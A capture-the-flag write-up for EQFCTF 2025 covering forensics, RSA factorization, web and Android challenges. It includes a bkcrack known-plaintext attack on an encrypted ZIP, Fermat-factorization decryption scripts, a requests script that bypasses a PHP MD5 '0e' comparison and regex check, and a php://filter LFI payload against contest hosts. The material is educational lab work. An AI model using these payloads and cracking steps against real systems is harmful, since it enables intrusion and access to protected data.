CTF 2025
EQFCTF 2025

Misc

Join Our Discord

  • Just join the discord and there is the flag on the annoucment channel RVFDVEZ7VzNsQzBtM19UMF9FcXVpbGlicml1bV9EMXNjMHJkfQ== cyberchef it and get the flag EQCTF{W3lC0m3_T0_Equilibrium_D1sc0rd}

Forensic

Velociraptor

  1. Download the attach file
  2. VeLoCiraptor\C\Users\kelvin\AppData\Roaming\Microsoft\Windows\Recent
    • We can found some hash on this page with the file name RVFDVEZ7MXRzX3IzNExseV9o and MG1ldzBya190UnVTdF9tMyF9 image
  3. Then just cyberchef it.

Kuih Lapis

  1. Download the poem.pdf file
  2. Throw it into pdf inspect (opens in a new tab) website and we will see all the details in this page image
  3. And we can see the details and flag at here image

Lost Password

  1. Download the zip file.
  2. We can see inside have cloud_password.txt and a index.html file. image
  3. With the use of BKCrack, we can use known plaintext attack on pkzip
  4. Next find the common bytes in the index.html file(why html file? as we dont know the starters of the cloud_password.txt) image.
  5. Save those code in a file call bin
  6. Then bkcrack -C html.zip -c "index.html" -p bin
  7. After getting the key, Continue to crack it
  8. bkcrack -C html.zip -k 1d63e85a b3b66126 33619315 -U bkbk.zip 1234 1d63e85a b3b66126 33619315 is the key, and 1234 is the password we set.
  9. then unzip the zip file bkbk.zip with pass 1234.
  10. Thats it the flag here flag

Crypto

Neighbour RSA

  1. Download the file, then see the rsa encrypted code
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import isqrt, mpz
def fermat_factorization(N):
    a = isqrt(N) + 1
    b2 = a * a - N
    while not is_square(b2):
        a += 1
        b2 = a * a - N
    b = isqrt(b2)
    return a - b, a + b

def is_square(n):
    return isqrt(n) ** 2 == n

# Given values
N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
e = 65537
C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581

# Step 1: Factorize N
p, q = fermat_factorization(N)
print(f"p = {p}")
print(f"q = {q}")

# Step 2: Compute the private key d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(f"d = {d}")

# Step 3: Decrypt the ciphertext C
plaintext = pow(C, d, N)
print(f"Plaintext (as long): {plaintext}")

# Step 4: Convert the plaintext to bytes
flag = long_to_bytes(plaintext)
print(f"Flag: {flag.decode()}")
  1. Then decrypt it!
    from Crypto.Util.number import inverse, long_to_bytes
    from gmpy2 import isqrt, mpz
    def fermat_factorization(N):
    a = isqrt(N) + 1
    b2 = a * a - N
    while not is_square(b2):
        a += 1
        b2 = a * a - N
    b = isqrt(b2)
    return a - b, a + b
    
    def is_square(n):
    return isqrt(n) ** 2 == n
    
    # Given values
    N = 14587704432822344892341272427282646120364434437414523883376089608218979364959927948590898540264210246449374363014541914863792835772986609660515612532877044074684115597786182642011407163350289201826895454398548254854919237599957739718174053771619150887665707867636064460914489445835497948439951659044458159773886454887057327846897569977945202458245268351728125973721764332352011029125694046428350269451464778793326007087955043888570293765138721335344787054343738337660927131968049415376352589981259058448540690666004751490375493430556965591293772542601776934892741235532054785639594081598607404023545471998403197674267
    e = 65537
    C = 7329184746351979600304810893726842767688467204256990201181172159445966473650977905122553415838916142690364388789400790015517642902297387406215773278164829517035052625373870964570981590734714495297149889660019174034119566329569798047522829383224123884562703447321306836996392334132844673471179765556339187200820259655159008340673516040862000226792914228312336356120448967504158288031247387263438925257977725844911872753683719735641011693324441777888582417108481882731436005780409094974241968759397096299213838515746566064813787517925040756180508206242396925444425306180593790729890681708626826056328684043890127100581
    
    # Step 1: Factorize N
    p, q = fermat_factorization(N)
    print(f"p = {p}")
    print(f"q = {q}")
    
    # Step 2: Compute the private key d
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    print(f"d = {d}")
    
    # Step 3: Decrypt the ciphertext C
    plaintext = pow(C, d, N)
    print(f"Plaintext (as long): {plaintext}")
    
    # Step 4: Convert the plaintext to bytes
    flag = long_to_bytes(plaintext)
    print(f"Flag: {flag.decode()}")</p>
  2. and here is it the flag

Neighbour RSA_2

  1. Here is the original code provided
from Crypto.Util.number import *
from gmpy2 import prev_prime as next_prime
import secrets

flag = b"EQCTF{<REDACTED>}"
a = bytes_to_long(secrets.token_bytes(100))

p = getPrime(1024)
q = next_prime(a+p)

N = int(p*q)
e = 65537
f = int(q+a-p)

C = pow(bytes_to_long(flag),e,N)

print(f"{N=}")
print(f"{e=}")
print(f"{C=}")
print(f"{f=}")

# N=10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
# e=65537
# C=2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
# f=4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652
  1. Decrypt it
from Crypto.Util.number import long_to_bytes, inverse
from gmpy2 import isqrt

# Given values
N = 10986069679740899320769487987259965136338163538313920951921558170716399011131571749355967327929782757252961432250665732844670832757630969990974354211674665217879301194915967815961901955331119097862220567741900953344002421010199387139438258915388299120537312319419560196095221842536034797857570594271497968571543268632342368822758109031157038270115475046299925831141039892806064466450571546834222025788616070408548026473179492912530200671560292851465500255213172920644302815477881129226831758156389887396481079039150256181152083078507883863985140189407376955776873853730599843478872399976242973508423433618152961348309
e = 65537
C = 2195468989281538327484120144714886786222108443822386213335264431639447179575013802497596322014889540032797783666693430103844035492180467143334243466603968944829680836129211979667061913058333561267630828758422011805278536599370681276716534375047691415305153173304117404635308274845621779917651565487097467077938208235595083835638297185421167329868537607503750906624903899336968072524704962983010525959106240384416922803445710408493786560172567404469778095227805268385869729463091111594408973206573286013513443234182105724723290297083787222131780636442462497223002541517291130831271935451970740180808267897428166746499
f = 4203301120017181153512192371191327436380286582036247438379481982220240276670686609670968370331071343886281566516951351186472802979725501149166852576293749655990806367361286991990410689444889766967820170478115967009340001288791419622177173652

# Approximate a
a_approx = f // 2

# Define a small range around a_approx
range_size = 1000  # Adjust this range as needed

# Iterate over the range
for delta in range(-range_size, range_size + 1):
    a = a_approx + delta

    # Solve the quadratic equation: p^2 + (f - a) * p - N = 0
    A = 1
    B = f - a
    C_eq = -N

    # Discriminant
    discriminant = B**2 - 4 * A * C_eq

    # Check if discriminant is a perfect square
    if discriminant >= 0:
        sqrt_discriminant = isqrt(discriminant)
        if sqrt_discriminant * sqrt_discriminant == discriminant:
            # Solve for p
            p_candidate = (-B + sqrt_discriminant) // (2 * A)

            # Check if p_candidate is a factor of N
            if N % p_candidate == 0:
                p = p_candidate
                q = N // p
                print(f"Found p and q:")
                print(f"p = {p}")
                print(f"q = {q}")

                # Compute phi(N)
                phi = (p - 1) * (q - 1)

                # Compute the private key d
                d = inverse(e, phi)

                # Decrypt the ciphertext
                plaintext = pow(C, d, N)

                # Convert the plaintext to bytes
                flag = long_to_bytes(plaintext)
                print(f"Flag: {flag.decode()}")
                break
    else:
        continue
else:
    print("Failed to factorize N.")
  1. Anddd there you go the flag

WEB

EggSecret

  1. First download the file attached and lets see whats inside.
  2. We can see that there is a secret hash at there 00e39786989574093743872279278460 also there is something we need to bypass (preg_match("/^(.*?)+$/s", $egg))
import requests
url = "http://135.181.88.229:31730/"
params = {"eggSecret": "240610708"}  # String with MD5 hash starting with "0e"
data = {"egg": "A" * 10000}  # Very large input to bypass the regex
response = requests.post(url, params=params, data=data)
print(response.text)
  1. and we can get the flag content.

KingsBrew

  1. First we get into the website using the host and port given.
  2. According to the hint it should be something menu as when you press "drink and flag!" it jump out menu.php.
  3. After we test, LFI is usable in this case
  4. http://135.181.88.229:35206/?page=php://filter/convert.base64-encode/resource=menu.php
  5. This is one of LFI payloads of PHP filters to read menu.php without executing PHP and decode the base 64 by ourself using cyberchef.

Mobile

Who's that pukimon

  1. Download the APK Andorid files and open it in a android emulator(Im using andorid studio)
  2. We can see that this is a game that we need to guess who is this Pokemon (pukimon) gueessss
  3. With the use of jadx-gui
  4. We can see that the main activity files is mainactivity main
  5. Find it out at (source/io.eqctf.pukimon/MainActivitykt)

hey

    /* JADX INFO: Access modifiers changed from: private */
    public static final Unit a$lambda$11$lambda$10(Context yeet, MutableState a$delegate) {
        Intrinsics.checkNotNullParameter(yeet, "$yeet");
        Intrinsics.checkNotNullParameter(a$delegate, "$a$delegate");
        if (a(a$lambda$6(a$delegate))) {
            Toast.makeText(yeet, "It's " + a$lambda$6(a$delegate), 0).show();
            byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0);
            Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
            Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8)));
        } else {
            Toast.makeText(yeet, "It's not " + a$lambda$6(a$delegate), 0).show();
        }
        return Unit.INSTANCE;
    }
}
  1. Decode AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9 with cyberchef and we can get the flag EQCTF{1Ts_Shr0oMr1sHiE!!!!}

Capture that Pukimon

  1. With the use of http toolkit, we can intercept the data from the firebase shrommie
  2. And thats the flag EQCTF{Int3RcEpT_da_Tr3FfiC}